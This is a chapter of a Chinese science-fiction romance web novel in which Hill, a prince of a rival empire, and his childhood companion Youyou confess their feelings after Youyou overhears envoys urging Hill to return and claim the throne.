希尔熟练地跨过地面上乱七八糟的东西,将又又放到床上。 刚松开手,就被揪住了袖子。 又又眼睛都没睁开,含含糊糊道:“希尔哥哥,想洗澡……” 希尔愣了愣,但很快便道:“好,我去给你放水。” 他起身,走进浴室里,细心地调好水温。 原本这些事情是可以交给机器人的,但希尔却仿佛没有想起这件事,并没有让机器人过来。 等到水放好,他才回到卧房。 只是看到又又的瞬间,他的脚步便僵住了。 他不知道什么时候迷迷糊糊把自己的衣服脱了,全身上下只有一条蛋壳小鸡的小内裤。 他怀中抱着乱成一团的被子,白皙的腿搭在被子上。 蛋壳小鸡被撑成了圆润的弧度,和纤细柔韧的腰拉成了一条漂亮的线条。 梦中的画面再次袭来。 希尔的喉结下意识滚动了一下。 直到又又因为冷,瑟缩了一下肩膀,他才如梦初醒般,收敛了所有情绪,目不斜视地将他抱进浴室。 “可以自己洗吗?”他将又又放进浴缸,轻声问。 温热的水将又又从睡梦中拖了出来,他有些呆呆地看着希尔。 因为隔着水雾的关系,希尔的脸似乎有些模糊,连带着他的声音似乎也低沉沙哑了些。 听得又又耳朵有些痒,他揉了揉耳朵,点点头。 “好,我去外面等你。”希尔说完,便转身离开了浴室。 又又抓着浴缸的边沿,迟钝地眨了眨眼睛。 今天的希尔哥哥……好像有哪里不一样。 不过,因为太困太累,他没有多想,迅速地洗完澡,换好睡衣,便呼呼大睡起来。 等到第二天醒来的时候,他已经把这件事忘在了脑后。 他元气满满地推开门,就看到希尔正在和机器人吩咐什么。 “希尔哥哥?” 希尔回头,朝他露出一个温和的笑:“醒了?” 又又蹦蹦跳跳地走过来:“嗯!” 希尔熟练地替他拉开椅子:“昨晚睡得好吗?” “好!我都好久没睡这么舒服了!”又又伸了个懒腰,“还是自己家舒服!” 希尔见他神情没有异样,下意识松了口气。 看来又又昨晚睡迷糊了,应该并没有注意到…… 他怕自己又想到什么,连忙走到另一边:“先吃东西,一会我送你去医疗中心。” “哦……” 虽然希尔表现得和往常一样,但又又在这方面本就敏锐,再加上和他太过熟悉,还是捕捉到了他那一瞬的躲闪。 这让原本心情极好的又又,心中又蒙上了一层阴影。 他戳着碗里的早餐,无精打采道:“今天先不去医疗中心,二姐今早给我发信息,说让我先去一趟军部。” “好。” 希尔也没有多问,等又又吃完,两人如往常般一同出门。 看着希尔开悬浮车的身影,又又下意识咬住嘴唇。 希尔哥哥……到底在躲着他什么呢? 等到了军部,希尔为了避嫌,并没有跟他进去,而是在悬浮车上等他。 又又独自去了二姐的办公室,却发现大哥和三哥竟然也在。 又又愣住了:“发生什么事了吗?” 三人对视一眼,最终还是江昭晏揉了揉额头:“我来说吧。” “又又,见微查到了黑市违法进行精神体觉醒手术的幕后黑手,我们在抓捕的过程中,还发现了另一条产业线,是有关圣律帝国的。” 又又心里忽然“咯噔”一下:“什么产业线?” “是进行异能觉醒手术的。” 又又震惊地瞪大了眼睛:“可是……这项手术我们根本就没有研究啊!连成功案例都没有,他们怎么敢的!那些帝国人也相信吗?” 因为身处联邦,所以这些年,他和章康教授他们一直研究的都是精神体觉醒手术。 而异能觉醒手术是截然相反的两条路,又又现在根本都抽不出时间来研究。 谁知,江昭晏却叹了口气:“谁说没有成功案例,希尔不就是吗?严格说来,他才是除了你之外的,第一个同时觉醒精神体和异能的人啊!” “那些人就是打着希尔的幌子,把人骗过来的……” “希尔哥哥不会这么做的!”又又想也不想,就替希尔辩驳。 江从谦却忽然开口:“我知道,但我们相信没有用,这件事造成的影响不小,而且这件事还牵扯了帝国内部的政治斗争,你得让希尔有个心理准备……” 然而,他话还没说完,又又就头也不回地跑了出去。 “又又!” 江昭晏都没有叫住他,纳闷道,“怎么这就跑了?” 江见微也忍不住道:“大哥,这不是都已经查清楚了,和希尔无关吗?你干嘛吓又又!” “你们懂什么?”江从谦冷嗤一声,低声叹道,“崽大不中留啊……” 上次打希尔还是打轻了!- 又又跑出军部,往悬浮车的方向跑去。 然而悬浮车上却并没有看到希尔的身影。 又又心里又急又慌,找了一圈才发现希尔竟然在星穹回廊那边。 他连忙朝那边走去,却发现希尔对面竟然还有一个人。 看他的装束,似乎正是圣律帝国的人。 又又一惊,连忙加快了脚步。 与此同时,他头顶的鹿角也缓缓生长出来,五感越发敏锐。 这时,希尔对面的人神情忽然激动起来。 又又也从风中捕捉到了几个关键字“回帝国”、“七皇子”、“辅佐”、“登基”…… 又又的脚步瞬间停住了。 从小到大,希尔一直在他身边,他都忘记了,希尔并不是联邦人。 他是帝国的七皇子,是圣律帝国的继承人之一。 而希尔也察觉到了什么,赫然转过头:“谁?!” 看到熟悉的鹿角,他一愣:“又又,怎么是你?” 他一边打发走对面的人,一边快步朝他走来,神情严肃:“你怎么一个人跑出军部了,这太危险了!” 又又却完全没有听见他说什么。 他脑中现在一团乱麻,只有一个念头:“希尔哥哥,你要回帝国吗?你……想当帝国的皇帝?” 希尔怔住:“你都听到了?” 听见他这么说,又又心中最后一丝侥幸也没有了。 一股巨大的恐慌瞬间攫住了他,让他下意识抓紧了希尔的手:“你真的要回去吗?” 希尔从未见又又这样慌乱过。 这让他心里那个隐秘的念头再次攀延而出。 他喉结滚了滚,却没有回答,而是反问道:“又又,你希望我留下吗?” 又又愣住了。 这一次,希尔没有躲闪,他的紫眸直直地注视着又又。 之前深埋的感情,全都毫无保留地倾泻而出。 原来昨晚并不是做梦,也不是眼花…… 希尔见又又怔愣出神的模样,原本满心的渴望,像是被泼了一盆冷水。 他甚至有些后悔,自己不该这样冲动的。 他努力勾起一抹笑容,试图挽救:“我……开玩笑的,我早就拒绝他们了,我不会回去……” 对于他来说,现在的生活才是他想要的,那勾心斗角的皇位他根本就没有兴趣。 几乎是同时,又又握紧了拳头,开口道:“希尔哥哥,你……可以为我留下吗?” 两人同时都愣住了。 “你说什么?!” 希尔的心脏疯狂地跳动起来,声音艰涩,“又又,你可以再说一遍吗?” 又又有点不好意思,但还是勇敢地看着他:“我想和希尔哥哥在一起,你……可以为我留下吗?” 他话音刚落,就被希尔猛然拥进了怀中。 希尔的力气有些大,箍得又又有点疼。 可他感受着希尔胸腔内剧烈的跳动,却什么都没说,而是伸手也拥住了他。 那一刻,两人的默契又回来了。 却好似多了一些别的东西。 “希尔哥哥再说一遍吧。” “嗯,希尔和又又永远在一起。”《 》